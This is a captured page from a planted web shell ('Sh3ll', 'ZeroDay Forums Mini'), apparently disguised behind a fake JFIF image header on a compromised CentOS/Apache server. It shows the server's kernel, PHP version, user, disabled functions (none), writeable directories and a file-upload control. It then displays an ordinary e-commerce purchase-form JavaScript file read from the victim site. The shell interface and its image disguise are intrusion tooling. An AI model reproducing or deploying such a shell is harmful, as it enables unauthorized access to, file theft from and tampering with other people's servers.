����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/adimi/application/modules/dashboard/assets/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //var/www/html/adimi/application/modules/dashboard/assets/js/add_purchase_form.js
"use strict";
var csrf_test_name=  $("#CSRF_TOKEN").val();
$('#store_hide').css('display','none');
function bank_info_show(payment_type)
{
    if(payment_type.value == "1"){
        document.getElementById("store_hide").style.display="none";
        document.getElementById("wearhouse_hide").style.display="block";  
    }else{
        document.getElementById("wearhouse_hide").style.display="none"; 
        document.getElementById("store_hide").style.display="block"; 
    }
}

    //Product purchase or list
    function product_pur_or_list(sl) {

        var supplier_id  = $('#supplier_id').val();
        var product_name = $('#product_name_'+sl).val();

        //Supplier id existing check
        if ( supplier_id == 0) {
            alert(display('please_select_supplier'));
            $('#product_name_'+sl).val('');
            return false;
        }

        // Auto complete ajax
        var options = {
                minLength: 0,
                source: function( request, response ) {
                $.ajax( {
                    url: base_url+'dashboard/Cpurchase/product_search_by_supplier',
                    method: 'post',
                    dataType: "json",
                    data: {
                        csrf_test_name:csrf_test_name,
                        term: request.term,
                        supplier_id:$('#supplier_id').val(),
                        product_name:product_name,
                    },
                    success: function( data ) {
                        response( data );
                    }
                });
            },
            focus: function( event, ui ) {
                $(this).val(ui.item.label);
                return false;
            },
            select: function( event, ui ) {
                $(this).parent().parent().find(".autocomplete_hidden_value").val(ui.item.value); 
                var sl          = $(this).parent().parent().find(".sl").val(); 
                var id          = ui.item.value;
                var dataString  = 'csrf_test_name='+csrf_test_name+'&product_id='+ id;
                var avl_qntt    = 'avl_qntt_'+sl;
                var price_item  = 'price_item_'+sl;
                var variant_id  = 'variant_id_'+sl;
                var color_variant  = 'color_variant_'+sl;
             
                $.ajax({
                    type: "POST",
                    url: base_url+'dashboard/Cpurchase/retrieve_product_data',
                    data: dataString,
                    cache: false,
                    success: function(data)
                    {
                        var obj = JSON.parse(data);
                        $('#'+price_item).val(obj.supplier_price);
                        $('#'+avl_qntt).val(obj.total_product);
                        $('#'+variant_id).html(obj.variant);
                        $('#'+color_variant).empty().append(obj.variant_color);
                    } 
                });

                $(this).unbind("change");
                return false;
           }
        }
        $('body').on('keydown.autocomplete', '.product_name', function() {
           $(this).autocomplete(options);
        });
    }

    // Counts and limit for purchase order
    var count = 2;
    var limits = 500;

    //Add Purchase Order Field
    function addPurchaseOrderField(divName){

        if (count == limits)  {
            alert("You have reached the limit of adding " + count + " inputs");
        }else{
            var newdiv = document.createElement('tr');
            var tabin  = "product_name_"+count;

            $("select.form-control:not(.dont-select-me)").select2({
                placeholder: "Select option",
                allowClear: true
            });

            newdiv.innerHTML ='<td><input type="text" name="product_name" required class="form-control product_name productSelection" onkeyup="product_pur_or_list('+count+');" placeholder="'+display('product_name')+'" id="product_name_'+count+'" tabindex="5" ><input type="hidden" class="autocomplete_hidden_value product_id_'+count+'" name="product_id[]" id="SchoolHiddenId"/><input type="hidden" class="sl" value="'+count+'"></td><td class="text-center"><div class="variant_id_div"><select name="variant_id[]" id="variant_id_'+count+'" class="form-control variant_id width_100p" required="" ><option value=""></option></select></div><div><select name="color_variant[]" id="color_variant_'+count+'" class="form-control color_variant width_100p" ><option value=""></option></select></div></td><td class="text-right"><input type="number" id="avl_qntt_'+count+'" class="form-control text-right" placeholder="0" readonly /></td><td class="text-right"><input type="number" name="product_quantity[]" id="total_qntt_'+count+'" onkeyup="calculate_add_purchase('+count+')" onchange="calculate_add_purchase('+count+')"  class="form-control text-right" placeholder="0" min="0" required/></td><td><input type="number" name="product_rate[]" id="price_item_'+count+'" class="price_item1 text-right form-control" placeholder="0.00" min="0" onkeyup="calculate_add_purchase('+count+')" onchange="calculate_add_purchase('+count+')"/></td><td class="text-right"><input class="total_price text-right form-control" type="text" name="total_price[]" id="total_price_'+count+'" placeholder="0.00" readonly="readonly" /> </td><td><button  class="btn btn-danger text-right" type="button" value="'+display('delete')+'" onclick="deleteRow(this)">'+display('delete')+'</button></td>';
            document.getElementById(divName).appendChild(newdiv);
            document.getElementById(tabin).focus();
            count++;

            $("select.form-control:not(.dont-select-me)").select2({
                placeholder: "Select option",
                allowClear: true
            });
        }
    }

    //Calculate store product
    function calculate_add_purchase(sl) {

        var e = 0;
        var gr_tot = 0;
        var total_qntt   = $("#total_qntt_"+sl).val();
        var price_item   = $("#price_item_"+sl).val();
        var total_price  = total_qntt * price_item;

        $("#total_price_"+sl).val(total_price.toFixed(2));

        //Total Price
        $(".total_price").each(function() {
            isNaN(this.value) || 0 == this.value.length || (gr_tot += parseFloat(this.value))
        });

        $("#grandTotal").val(gr_tot.toFixed(2,2));
    }

    //Select stock by product and variant id
    $('body').on('change', '.variant_id, .color_variant', function() {

        var sl            = $(this).parent().parent().parent().find(".sl").val();
        var product_id    = $('.product_id_'+sl).val();
        var avl_qntt      = $('#avl_qntt_'+sl).val();
        var purchase_to   = $('#purchase_to').val();
        var wearhouse_id  = $('#wearhouse_id').val();
        var store_id      = $('#store_id').val();
        var variant_id = $('#variant_id_'+sl).val();
        var variant_color = $('#color_variant_'+sl).val();

        if (purchase_to == 1) {
            if (wearhouse_id == 0) {
                alert(display('please_select_wearhouse'));
                return false;
            }
        }

        if (purchase_to == 2) {
            if (store_id == 0) {
                alert(display('please_select_store'));
                return false;
            }
        }

        $.ajax({
            type: "post",
            async: false,
            url: base_url+'dashboard/Cpurchase/wearhouse_available_stock',
            data: {csrf_test_name:csrf_test_name,product_id: product_id,variant_id:variant_id, variant_color:variant_color,purchase_to:purchase_to,wearhouse_id:wearhouse_id,store_id:store_id},
            success: function(data) {
                if (data) {
                    $('#avl_qntt_'+sl).val(data);
                }
            },
            error: function() {
                alert('Request Failed, Please try again!');
            }
        });
    }); 

    //Delete a row from purchase table
    function deleteRow(t) {
        var a = $("#purchaseTable > tbody > tr").length;
        if (1 == a) {
            alert("There only one row you can't delete."); 
            return false;
        }else {
            var e = t.parentNode.parentNode;
            e.parentNode.removeChild(e);
            calculate_add_purchase();
        
        }
        calculate_add_purchase();
        $('#item-number').html('0');
        $(".itemNumber>tr").each(function(i){
            $('#item-number').html(i+1);
            $('.item_bill').html(i+1);
        });
    }

ZeroDay Forums Mini